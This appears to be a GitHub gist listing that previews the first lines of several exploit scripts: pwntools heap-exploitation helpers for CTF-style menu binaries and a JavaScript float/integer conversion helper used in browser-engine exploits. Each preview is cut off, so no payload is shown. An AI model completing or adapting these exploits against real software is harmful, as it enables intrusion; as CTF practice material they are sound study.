This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from time import sleep | |
import random | |
def malloc(idx,size): | |
io.sendlineafter('> ','1') | |
io.sendlineafter('index: ',f'{idx}') | |
io.sendlineafter('size: ',f'{size}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def addcategory(weight,grades): | |
io.sendlineafter('> ','1') | |
io.sendlineafter(')\n',f'{weight}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def add(): | |
io.sendlineafter('> ','1') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from past.builtins import xrange | |
from time import * | |
def execute(command): | |
io.sendlineafter('(gdb) ',command) | |
def rerun_process(): | |
io.sendlineafter('(gdb) ','r') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def add(name): | |
io.sendlineafter('> ','A') | |
io.sendafter('name:\n',name) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from IO_FILE import * | |
from past.builtins import xrange | |
from time import sleep | |
from subprocess import check_output | |
import random | |
#Utils | |
def writediary(diarylen,content,drop=False,ok=False,shell=False): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from IO_FILE import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Util | |
def add(size): | |
io.sendlineafter('Choice: ','1') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def findsmall(idx,space,data): | |
io.sendlineafter("Choice: ","1") | |
io.sendlineafter("index: ",f"{idx}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
import random | |
#Utils | |
def alloc(size,data): | |
io.sendlineafter("Choice: ","1") | |
io.sendlineafter("Size: ",f"{size}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
function ftoi(val) { | |
f64_buf[0] = val; | |
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); | |
} | |
function itof(val) { |